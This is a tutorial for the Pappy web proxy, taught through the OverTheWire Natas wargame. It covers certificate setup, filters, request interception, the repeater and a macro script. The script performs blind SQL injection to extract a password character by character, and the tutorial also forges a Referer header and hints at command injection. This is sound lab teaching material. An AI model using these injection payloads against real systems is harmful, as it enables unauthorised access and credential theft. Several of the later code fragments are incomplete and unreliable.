Getting Set Up
==============
Introduction
------------
This is a quick tutorial to get you started using Pappy like a pro. To do this, we'll be going through from `Natas <http://overthewire.org/wargames/natas/>`_. If you haven't done it yet and don't want it spoiled, I suggest giving it a try with Burp since we'll be telling you all the answers right off the bat.
Getting Started
---------------
The first thing you'll need to do is get Pappy installed.
Install from pypi::
$ pip install pappy
or install from source::
$ git clone --recursive https://github.com/roglew/pappy-proxy.git
$ cd pappy-proxy
$ pip install .
.. note::
Pappy only supports OS X and Linux! Nothing will work on Windows, sorry!
That was easy! Make a project directory anywhere for Natas and fire up Pappy.::
$ mkdir natas
$ cd natas
Copying default config to ./config.json
Proxy is listening on port 8000
pappy>
If you look at what's in the directory, you'll notice that there's a ``data.db`` file and a ``config.json`` file.
* ``data.db`` is a SQLite file that stores all the (in-scope) requests that pass through the proxy
* ``config.json`` stores settings for the proxy
You don't need to touch either of these right now. Just hop back into Pappy.
Installing Pappy's CA Cert
--------------------------
In order to intercept HTTPS requests, you'll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining.
To generate certificates, you'll use the ``gencerts`` command. This will generate certificates in Pappy's directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.::
pappy> gencerts
This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure?
(y/N) y
Generating certs to /home/anonymouse/pappy/pappyproxy/certs
Generating private key... Done!
Generating client cert... Done!
pappy>
The directory that the certs get put in may be different for you. Next, you'll need to add the generated ``certificate.crt`` file to your browser. This is different for each browser.
Installing the Cert in Firefox
++++++++++++++++++++++++++++++
1. Open Firefox
2. Go to ``Preferences -> Advanced -> View Certificates -> Authorities``
3. Click ``Import``
4. Navigate to the directory where the certs were generated and double click ``certificate.crt``
Installing the Cert in Chrome
+++++++++++++++++++++++++++++
1. Open Chrome
2. Go to ``Preferences -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities``
3. Click ``Import``
4. Navigate to the directory where the certs were generated and double click ``certificate.crt``
Installing the Cert in Safari
+++++++++++++++++++++++++++++
1. Use Finder to navigate to the directory where the certs were generated
2. Double click the cert and follow the prompts to add it to your system keychain
Installing the Cert in Internet Explorer
++++++++++++++++++++++++++++++++++++++++
1. No.
Configuring Your Browser
------------------------
Next, you need to configure your browser to use the proxy. This is generally done using a browser extension. This tutorial won't cover how to configure these plugins. Pappy runs on localhost on port 8000. This can be changed in ``config.json``, but don't worry about that right now.
.. note::
Configure your browser extension to use the proxy server at **loalhost** on **port 8000**
Here are some proxy plugins that should work
* Firefox: `FoxyProxy <https://addons.mozilla.org/en-us/firefox/addon/foxyproxy-standard/>`_
* Chrome: `Proxy SwitchySharp <https://chrome.google.com/webstore/detail/proxy-switchysharp/dpplabbmogkhghncfbfdeeokoefdjegm?hl=en>`_
Testing it Out
--------------
Start up Pappy in Lite mode by running ``pappy -l``, enable the proxy in your browser, then navigate to a website::
/pappynatas/ $ pappy -l
Temporary datafile is /tmp/tmp5AQBrH
Proxy is listening on port 8000

Deleting temporary datafile
Make sure that the request you made appears on the list. When you quit, the temporary data file will be deleted, so no cleanup will be required!
The Tutorial
============
Setting the Scope
-----------------
The first thing we'll do is set up Pappy so that it only intercepts requests going to ``*.natas.labs.overthewire.org``::
pappy> filter host containsr "natas\.labs\.overthewire\.org$"
pappy> scope_save
What these commands do:
1. Make the current context only include requests whose host ends in ``natas.labs.overthewire.org``.
2. Save the current context as the scope
The context is basically requests that pass a list of rules. In this case, we have one rule that says that in order for a request to be in the current context, it must pass the regexp ``natas\.labs\.overthewire\.org$``. When we save the scope, we're saying that any request that doesn't pass this regexp is out of scope and shouldn't be touched.
If this doesn't make sense, don't worry, we'll come back to this.
Natas 0
-------
First, go to `<http://natas0.natas.labs.overthewire.org>`_ and log in with the default creds of ``natas0`` / ``natas0``. You should see a site that says "You can find the password for the next level on this page". You don't need Pappy for this one.
1. Right click the page and select "view source"
2. Read the password for natas1
3. Visit `<http://natas1.natas.labs.overthewire.org>`_ and log in with the username ``natas1`` and the password you found.
Natas 1
-------
Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There's still ways to view the source in the browser, but we'll use Pappy here. The commands we'll learn here are ``ls``, ``vfq``, and ``vfs``.
* ``ls`` lists the most current requests that are in the current context. You'll be using this a lot to get the IDs of requests you want to do things with.
* ``vfq <reqid>`` prints the full request of a request you specify
* ``vfs <reqid>`` prints the full response to a request you specify
So to solve natas1, we'll want to view the full response to our request to the page::

Natas 2
-------
When you visit this page, you get a message saying "There is nothing on this page". That is probably a blatant lie. Let's see what was in that response.::

So the only suspicious thing is ``<img src="files/pixel.png">``. I'll let you figure out the rest ;)
Natas 3

This one doesn't require Pappy. Just view the ``robots.txt`` file.
Finding Your Passwords Later (How to Use Filters)
-------------------------------------------------
This section will explain how to use Pappy's filters to find passwords to levels you've already completed. Every in-scope request and response that goes through Pappy is stored in the ``data.db`` file in your project directory. We can use filter commands to search through these requests to find resposes with passwords.
Filters
+++++++
Here are the commands we'll learn:
1. ``filter <filter string>`` / ``f <filter string>`` Add a filter that limits which requests are included in the current context
2. ``fu`` Remove the most recently applied filter
3. ``sr`` Reset the context so that it matches the scope
4. ``filter_clear`` Remove all filters from the context, including the filters applied by the scope
5. ``fls`` Show all currently applied filters
The most complicated of these is the ``filter`` command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn't pass the filter will be removed from the context. Most filter strings are of the format ``<field> <comparer> <value>``. For example::
host is www.target.org
field = "host"
comparer = "is"
value = "www.target.org"
This filter will only match requests whose host is exactly ``www.target.org``. When defining our scope, we applied a filter using a ``containsr`` comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers:
Commonly used fields
* ``all`` The full text of the request and the response
* ``host`` The hostname of where the request is sent
* ``path`` The target path of the request. ie ``/path/to/page.php``
* ``verb`` The HTTP verb. ie ``POST`` or ``GET`` (case sensitive!)
* ``body`` The data section (the body) of either the request or the response
Commonly used comparers
* ``is <value>`` The field exactly matches the value
* ``contains <value>`` / ``ct <value>`` The field contains a value
* ``containsr <regexp>`` / ``ctr <regexp>`` The field matches a regexp. You may want to surround the regexp in quotes since a number of regexp characters are also control characters in the command line
You can find the rest of the fields and comparers (including some more complex ones) in the actual documentation.
Once you've applied some filters, ``ls`` will only show items that pass all the applied filters. If you want to return to viewing all in-scope items, use ``sr``. If you want to remove the last applied filter, use ``fu``.
Finding Passwords
+++++++++++++++++
While we can't find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly
For natas0 and natas1, the responses had a phrase like "the password is abc123". So we can filter out anything that doesn't have the word "password" in it.::

It looks like requests 2 and 14 are the ones we're looking for (we know the password is on the page and those are the requests to / that have a 200 OK response). Use ``vfs`` to look at the response and you'll get the passwords again! It looks like we also found the password from natas2 (the request to /s3cr3t/users.txt).
Anyways, back to Natas!
Natas 4
-------
When we visit this page, we get an error saying that they will only display the password if we visit from ``http://natas5.natas.labs.overthewire.org/``. How does a website track where you came from? The Referer header! Where's that defined? In a header! Do we control the headers? Yes! So all we have to do is set the Referer header to be the correct URL and we're golden.
To do this, we'll be using Pappy's interceptor. The interceptor lets you stop a request from the browser, edit it, then send it to the server. These are the commands we're going to learn:
* ``ic <req|rsp>+`` Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command. ``ic req`` will only intercept requests, ``ic rsp`` will only intercept responses, and ``ic req rsp`` will intercept both.
In this case, we only want to intercept requests, so we'll run ``ic req``::
pappy> ic req
And we'll get a screen that says something like::
Currently intercepting: Requests
0 item(s) in queue.
Press 'n' to edit the next item or 'q' to quit interceptor.
Now refresh the page in your browser. The page will hang like it's taking a long time to load. Go back to Pappy, and now the interceptor will say something like::
Currently intercepting: Requests
1 item(s) in queue.
Press 'n' to edit the next item or 'q' to quit interceptor.
Press ``n`` and the request will be opened for editing! Which editor is used is defined by the ``EDITOR`` environment variable. Use the text editor to add a ``Referer`` header (note that there's only one r)::
GET / HTTP/1.1
Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664
Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
Connection: keep-alive
Cache-Control: max-age=0
Referer: http://natas5.natas.labs.overthewire.org/
Save and quit, then press ``q`` to quit the interceptor. Go back to the browser and you should have the password for natas5! Yay!
Now if you run ls, you'll notice that the request we made has a ``q`` in the ``Mngl`` column. This means that we mangled the request. If there's an ``s`` in that column, it means we mangled the response. If we ever want to refer to the unmangled version of the request, just prefix the id with a u. For example, you can get the unmangled version of request ``12`` by using the id ``u12``.
Natas 5
-------
This one starts with a screen saying you're not logged in. This is fine. For this one, you'll need to use the interceptor to edit the value of a cookie. I'll let you figure that one out.
Natas 6
-------
This one you should be able to get
Natas 7
-------
You should get this one. Note the hint on the `overthewire website <http://overthewire.org/wargames/natas/>`_: All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
Natas 8
-------
You should be able to get this one. If it sucks, google it.
Natas 9
-------
For this one, when you view the source you'll notice they're taking value you entered and inserting it directly into a command line command to grep a file. What we want to do is insert our own arguments to the command. For this one, we will learn how to use the repeater. Here is the command we will learn:
* ``rp <reqid>`` Open the vim repeater with the given request
* ``<leader>f`` (In the repeater) forward the request
.. note::
Use ``:wq!`` to quit the repeater without having to save buffers
.. note::
You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key `here <https://stackoverflow.com/questions/1764263/what-is-the-leader-in-a-vimrc-file>`_. By default <leader> is bound to ``\``.
Submit a request then open that request in the repeater::
pappy> ls
196 GET natas9.natas.labs.overthewire.org /index.php?needle=ball&submit=Search 200 OK 0 1686 0.27 --
195 GET natas9.natas.labs.overthewire.org /index-source.html 200 OK 0 1952 0.27 --
... snip ...
pappy> rp 196
Vim will open up in a vertical split with the request on the left and the response on the right.
In the repeater, you edit the response on the left, then press the ``<leader>`` key then ``f`` to submit the modified request (note that your cursor must be in the left window). The response will then be put in the right window. This makes it easy to quickly make requests which are all slight variations of each other.
In this case, we'll be editing the ``needle`` get parameter. Try changing "ball" to "bill" and submitting it. You'll notice that the output in the right window changes to contain words that have the word "bill" in them. The repeater will make it easy to make tweaks to your payload and get quick feedback without having to use the browser.
Use the repeater to solve this challenge (you may need to url encode some characters by hand, unfortunately).
Skip a few... Natas 15
----------------------
All the challenges up to this point should be doable with the repeater/interceptor. Natas15 is where things get hairy though. This is a blind SQL injection, and you'll have to write a script to do it. Luckily for us, writing scripts using Pappy is easy. If you're lazy and don't want to actually do the challenges, google the password for natas15 then come back.
Commands we'll learn:
* ``gma <name> <reqid(s)>`` Generate a macro with objects pre-defined for the given requests
* ``lma`` Load macros
* ``rma <name> [args]`` Run a macro, optionally with arguments
So the first thing we'll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn't exist. Now we'll generate a macro and use that request as a base for our script::
pappy> ls

# Example:

# req.submit() # Submit the request to get a response

Pappy will generate a script and create a ``Request`` object that you can use. Check out the real documentation to see everything you can do with a ``Request`` object. For now you just need to know a few things about it:
* :func:`~pappyproxy.http.Request.submit` Submit the request and store the response object
* :func:`~pappyproxy.http.Request.save` Save the request/response to the data file
* ``post_params`` A :class:`~pappyproxy.http.RepeatableDict` that represents the post parameters of the request. Can set/get prameters the same way as a dictionary.
It is suggested you go through the documentation to learn the rest of the attributes/functions.
To start out simple, we'll write a macro that lets us check a username from the Pappy console. To define a function, you define the ``run_macro`` function. The function is passed a list of arguments which represent the arguments entered. Here a ``run_macro`` function that we can define that will check if a user exists::
def run_macro(args):
to_check = args[0] # get the username to check
r = req1.copy() # make a copy of the base request
r.post_params['username'] = to_check # set the username param of the request
r.submit() # submit the request
if "This user doesn't exist." in r.response.raw_data: # check if the username is valid
print "%s is not a user" % to_check
else:
print "%s is a user!" % to_check
Then to run it::
pappy> lma
Loaded "<Macro Macro 41855887 (brute)>"
pappy> rma brute admin
admin is not a user
pappy> rma brute fooooo
fooooo is not a user
pappy> rma brute natas16
natas16 is a user!
pappy>
Awesome! Notice how we didn't have to deal with authentication either. This is because the authentication is handled by the ``Authorization`` header which was included in the generated request.
Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username::
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
So to escape it, we use a payload like::
username" OR 1=1; #
In this case, any username that ends in ``" OR 1=1; #`` will be considered a valid username. Let's try this out::
pappy> rma brute "foo\" OR 1=1;"
foo" OR 1=1; is a user!
pappy> rma brute "fooooooo\" OR 1=1;"
fooooooo" OR 1=1; is a user!
pappy>
Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the ``password`` column. We do this with the ``ASCII`` and ``SUBSTRING`` functions. So something like this will check if the first character is an ``A``.::
'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #'
Alright, let's update our macro to find the first character of the password.::

from pappyproxy.context import set_tag
MACRO_NAME = 'Macro 41855887'

if check_char(c, 1):
print '%s is the first char!' % c
return
print "The script didn't work"
And when we run it...::

pappy> rma brute
Trying a...
Trying b...
Trying c...
Trying d...
... snip ...
Trying U...
Trying V...
Trying W...
W is the first char!

We find the first character! Woo! Next we just have to do this for each position. Even through we don't know the length of the password, we will know that the password is over when none of the characters are valid. So let's update our macro::
import sys
from pappyproxy.http import Request, get_request, post_request
from pappyproxy.context import set_tag
MACRO_NAME = 'Macro 41855887'
SHORT_NAME = ''
